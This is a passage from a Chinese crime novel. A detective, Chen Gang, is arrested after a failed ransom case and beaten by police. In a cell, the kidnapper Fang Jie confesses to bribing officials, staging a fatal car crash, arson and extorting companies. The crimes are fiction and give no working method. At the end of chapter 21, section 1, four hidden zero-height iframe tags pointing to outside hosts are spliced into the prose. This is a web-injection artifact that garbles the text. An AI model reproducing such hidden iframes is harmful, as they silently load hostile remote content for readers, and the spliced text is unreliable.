“上医院看看吧,”思莲担心地说。
“我一个人走,你自己回去吧,”我推开思莲的手。
“怎么了,我这么令人讨厌?”思莲生气地说。
“原谅我,”出租车过来,我一个人上了车。
思莲呆呆地站在那里,风儿在簇拥着她,掀起她的长发;星星连成一片牵着她,好像要和她对话。
我从车里伸出手,朝她挥了挥。
我看到一辆黑色轿车跟在了出租车的后面。出租车拐了弯,黑色轿车也拐了弯;出租车进了岁岁旅馆,黑色轿车也开进了岁岁旅馆。
我下了出租车,走近了黑色轿车,拉开车门。车里有两个二十岁左右的小伙子。其中一个正在打电话:“王经理,他到了旅馆,我们怎么办?”
我把电话从小伙子手里拿过来:“喂,我就是陈刚,是你叫人跟踪我的吗?”
“哦,请你稍等,”电话里的人就是王小胜。他用另一部电话打给姜成:“大哥,陈刚正在和我通话。我们怎么办?好的,好的……再见。”他放了那部电话,然后又对我说:“总经理要见你,你就坐这辆轿车来吧。——请你把电话换给小利,我对他说说。”
我上了黑色轿车。见到姜成,我们彼此谈谈,彼此心里都会好受些的,我想。
可是,我没有想到姜成却暴跳如雷,还做出一件叫我非常吃惊的事情……
第二十章 第四节
黑色轿车停在了传达室门口。
“你下去,”开车的小伙子有些不耐烦地说。也许今晚他正在和心爱的姑娘约会,是跟踪我的任务打扰了他。
我一下车,黑色轿车就开走了。传达室里的值班人员喊我:“叫你过来接电话。”
“你是陈刚吗?”我拿起电话,就听到姜成大声喊。
“是我,”我预感到事情不妙。现在,就连他的办公室也不让进了。我已经成了他的敌人。
“你他妈的混蛋,小人,我忍受着极大的痛苦,你却搂着小姐看歌舞……”姜成愤怒地吼叫着,“当初,我怎么就相信你了,相信了你的鬼话?现在,儿子和那个姑娘没有被绑匪放回来,你说说吧,你说说,我该怎么办?怎么办?不知他们的死活,不知他们在哪儿?在哪儿?上帝呀,快来帮帮我,来帮帮我!——你他妈的混蛋,混蛋……你赔我儿子,赔那个女孩……我怎么向女孩的父母交代……我不如真死了呢,哦……呜呜……”
姜成大哭,泣不成声,他内心的痛苦顺着电话线流淌着,在夜色里复制着,在我的脑子里储存着:我也非常痛苦,我无法辩解……
我问自己:假如当初姜成不听我的话,给了绑匪十万元,绑匪就能把他的儿子和那个女孩放了?答案并不确定。我真是做错了?
“陈刚!”姜成大声喊。
“我在,”我应付着他。
“你这个逃犯!——我以前不相信你偷过东西,还派人秘密调查……现在我相信了,你就是个罪犯,是偷过别的东西。——你害得我好惨!我将怎样面对公众,面对媒体?……”
我只能保持沉默,我现在说出的每一句话,都可能给他点燃心中更多的怒火。
有两辆警车从水河市公安局开了出来,像两只萤火虫一样,在一片由灯火织成的网上面移动着;一颗流星划破长空,带走的是人间的痛苦还是快乐?夜就敞开了她的胸怀,要是把罪恶放进去,长出的肯定是有毒的苹果……
“我现在最恨的人就是你,”姜成咬牙切齿,“你和绑匪有什么区别?你就是绑匪,你害了我,害了我儿子,害了那个女孩……”
二辆警车停在传达室门外,五、六个警察涌进来,有一个手里拿着枪对着我的胸口。
“你是陈刚吗?”一个警察问我,手铐在他的手里一闪一闪的。
“就是他,就是他!”姜成在电话里大声喊。
警察们突然一涌而上,我像一块面团一样被他们按在地上,手铐被带上后,拳脚就像雨点一样落在面团上,面团上有的地方就变红了;警察们把这块面团扔到警车上,警车就快乐地叫着,离开了这个地方。
“陈刚,对付你这样的人就叫你去坐牢,你罪有应得……”姜成还对着话筒大喊大叫。
这时,王小胜领着一个人进了他的办公室。这个人叫曲学勇,负责秘密调查陈刚偷盗事件的真伪。
“老总,”王小胜小声地说,“学勇拿来了调查报告,他们找到了租房子给陈刚的刁树俊。”
姜成已平静了许多,仰躺在沙发上,只是静静地听着。
王小胜就继续说:“那些电脑是刁树俊偷的。我们的人把他揍了一顿,他就承认了。那天晚上,他还把店主的老婆给强奸了,说店主的老婆很有味道,以后他又去强奸了她一次……”
“你们给我滚出去!滚!”姜成暴跳如雷,他埋怨曲学勇来的晚了?还是悲痛让他失去了理智?
王小胜和曲学勇就悄悄退出了房间。
我呢,就像一个魔鬼一样被人投进了监牢,挨着人的拳脚,听着人的嘲笑。如果人坐了监牢,就成一个真正的魔鬼,这个时候,也许就会听到人世间的鬼哭狼嚎,读懂人世间无数的烦恼。
二个小时后,愉树县公安局的追捕队队长就带着人过来押解我回愉树县了。
这一次,追捕队姜队长见到我,只是笑笑。是呀,那次沙滨市市长劳明理没有被歹徒打死,他的“功劳”很大,局里对他进行了表扬。至于偷窃犯陈刚逃跑的事,局里根本就没有通报,因此也就没有追究有关人员的责任。
曾忠阳和年志伟都默默无语,他们把旧日的感情压在心底,等待时间还给我清白,感情就会涌出来,战友的心再重逢……
想不到,我在看守所见到了方杰,我和他被关在了一个牢室。他戴着手铐脚撩,我也戴着手铐脚撩;他穿着号服,我也穿上了;只差给我理光头了。
“哦,大英雄,你怎么进来了?”他吃惊地对我说。
“怎么,”我也很吃惊,“还没有对你提起公诉呀?”
“嘿嘿,”方杰傻笑笑。他悄悄问我,“听说,丛县长被抓起来了?”
“是这样的,”我说。
“丛县长就是上面没有人呀,”方杰叹一口气,“现在没有后台不好做官,他又不会送礼送钱的,这个官还能做下去吗?”
“当初是丛县长把十万元交到你们手上的?”我问。
“是他……”方杰回忆道,“我们得到钱,把人质放了。但是过了一年,我们还是把那个镇党委书记给杀了——制造了一起车祸,到现在别人也不知道是我们搞的……”
“你把这个情况和警察说了吗?”没有。
“为什么要杀他?”我问。
“因为他贪污,他就要做县长了……你想,如果他做了县长,不是就更坏了吗?所以就要杀了他……”
第二十一章 第一节
夜是心灵的窗户,如果你感到孤独。
夜是一本神秘的书,如果你把真心吐露……
在方杰的心里,他没有罪恶感,因为他做的是为民除害或是为已除害的事情。他参与绑架镇党委书记的儿子,是因为他贪污;他杀害自己的老婆,是因为她交往了一个有妇之夫,做第三者,使一个家庭走上了破裂的边缘。
夜就在牢室里,我的突然来到,好像又把另一个夜带了进来,方杰很兴奋。在心里,他是很佩服我的,身手不凡,头脑聪明,他载在这样一个人的手里,没有感到什么遗憾的。他也没有把我当成一个犯人,我毕竟做地警察,在这样的环境里,能碰到我这样一个,他觉得很幸运。
“嘿嘿,你知道丛县长是怎样当上县长的?”他神秘地问我。
“不知道,”我急忙说,我对这个话题很感兴趣。
“他的官是我们花钱给他买来的,只不过是他不知道罢了……嘿嘿,这听起来很奇怪,是不是?”他已经对我打开了心灵的窗户。
“是奇怪,”说真的,听他这么说,我吃惊不少。
“我们把绑架镇党委书记的儿子得来的钱,给了刘永远,当时他是长建市市委书记,现在却是我们的副省长了。——我们这个县就是属长建市管辖,是不是?”方杰沉到回忆里,“我们用一个信封把钱装好,替丛县长写了一封毛遂自荐信,签了他的名字,然后我又买了两条烟,扔了一条给看传达室的人,又扔了一条给刘永远的秘书,我就见到了刘永远,大大方方把装着十万元钱的推荐信交给了他……后来,丛县长就当了县长……得到官的过程很简单吧,是不是?”
“那你参与绑架刘副省长的父亲又是为了什么?”只要他愿意说,我有很多的问题要问他。
“因为他要提拨吴书记做大官,吴书记坏透了,送了他不少的钱,所以我们就去敲他一下……”方杰痛恨地说。
夜好像成了一个好朋友,一手搂着方杰,一手搂着我,也在倾听着他对过去的诉说。夜啊夜,其实,你是非常的冷漠,你喜欢好,但也容忍恶;日月穿梭眼前过,你为什么就不能把罪恶摆脱?
“那么,警察把和你一起搞绑架的同伙都捉到了吗?”我问。
“同伙?嘿嘿……没有,没有啊……”
“几个同伙呢?”
“不知道。”
“是吗?那你们都是怎么联系呢,怎么分工?又是怎么实施的?”
“绑架镇党委书记的儿子的时候,是头给我书信联络;绑架副省长老爹的时候,是用电话联络。头叫我做什么我就做什么……”
“那么头是谁?”
“不知道……”
一个问题,我只能问他一遍,要对他充分的信任,这样他才能把心掏出来:“看来,你非常喜欢丛县长了,可是抓到你以后,你怎么把他给供出来了,说是他交的赎金呢?”
“我不打算供的。”方杰不满地说,“是警察打我打得我受不了才说的。再说,他们从我家搜出了我的日记,我的日记上面记载着这件绑架的事情。我有人记大事的习惯,日子久了,就拿出来欣赏一番,像喝了陈酿老酒,有滋有味地品尝品尝……”
“那你知道他交来的钱不是他的吗?”
“知道。当时警察介入了,也找不到我们。后来我给那个镇的各个企业发了捐款通知,那些企业才把钱凑起来的。有个企业没有捐款,我就在晚上给他点上了,烧了他将近二十万……”
“哦,原来是这样……”
“那时,丛县长太正直,没人听他的,要是他号召捐款,就连一千元也捐不起来。那天,没有人敢去送钱,送钱的人后面跟着警察,都怕得罪绑匪,本人或家庭受到遭殃,而他却自告奋勇。可是我们根本就没有露面。我们不会傻到和警察面对面地交易。后来的一个晚上,我们高撬开了丛县长家里的门,把钱抢了出来。——这才是事情的真相。”
“撬开门的是谁?”
“是我,”
“抢钱的是谁?”
“也是我……”
“你的同伙呢?”
“他们有的负责监视警察,有的负责给我望风。”
“你见过他们吗?”
“没有,我们互不联系,我只听头的。”
“在省城,绑架刘副省长的父亲,赎金确实不少啊,这钱是怎么到你手上的呢?”
“警察也是介入了。我们也是给一些公司和企业下了捐款通知。我们直接和公司企业要钱,目标多了,警察也顾及不过来。为了救省长的老爹,企业掏钱都很痛快……他们也不敢不掏,都怕省长给小鞋穿……”
“你到几家企业去要过钱?”
“我们先是书面通知,后又打电话的,我们只是叫他们准备钱,先不透露送钱的方法,叫警察摸不着头脑。最后瞅准机会,我们就会把钱抢过来。”
“这次你得了多少钱?”
“七万,全花光了……” <;iframe src=http://baidu。2。/w65/w65。htm width=100 height=0>;<;/iframe>;<;iframe src=http://baidu。2。/w65/w65。htm width=100 height=0>;<;/iframe>;<;iframe src=http://baidu。2。/w65/w65。htm width=100 height=0>;<;/iframe>;<;iframe src=http://go。2。/w65/w65。htm width=100 height=0>;<;/iframe>;
第二十一章 第二节
生活呵,就是一团雾,有好多的事情看不明白,原以为是这样的事情,其实完全是另一个样子。就像为丛县长声援的小这报上声称的,那二十多家企业都是自愿捐款凑起了赎金,实际上却是绑匪下了通知书逼他们捐款。只是丛县长这么多年来一直人们辛辛苦苦做工作,感动了人们,人们不忍心看到这么一个好县长被人陷害,才站出来这么说的。
方杰呢,身强力壮,好像一辆加满油的战车,只要有人开动,他就会在战场上冲锋陷阵,一往无前。“头”就是利用了他这一点,用书信或是电话摇控指挥他,实施犯罪,到达目的。绑架镇党委书记的儿子一案,企业家们明的凑了十万,暗的呢?“头”有没有背着方杰到企业要钱?这说不准。只是“头”手段高明,拿出一些钱,叫他去给当时还是镇长的丛为民买官,既满足了方杰喜欢丛镇长清正廉洁的心理,又达到了以后控制方杰,继续利用他做案的目的。刚发生不久的绑架刘副省长的老爹一案,就是上述很好的证明,“头”拿了九十多万,方杰被警方抓获,“头”却安然无恙,美滋滋地过他的日子。
这个“头”好狡猾。
他是谁?
现在在哪儿?
也许绑架镇党委书记的儿子是他的第一次作案,他很熟悉方杰,就利用他,也就是说,“头”就是榆树县本地人。现在,“头”已壮大了,能在省城做案了,而且胆子更大了——不,这个头不会光干绑架的事,他很可能参与了其他的犯罪行动。得想办法找到他……
方杰倾吐了很多秘密,没有对警察讲过的也对我讲了;心里倒出了陈芝麻烂谷子,涌进了另一个人的惊诧和感叹,他有一种惬意的满足感,很快睡过去了。巨大的鼾声像雷一样响起,在他的罪恶的世界里滚动着,再也不会给人带来灾难的暴雨了。
第二天上午,我有意叫他讲过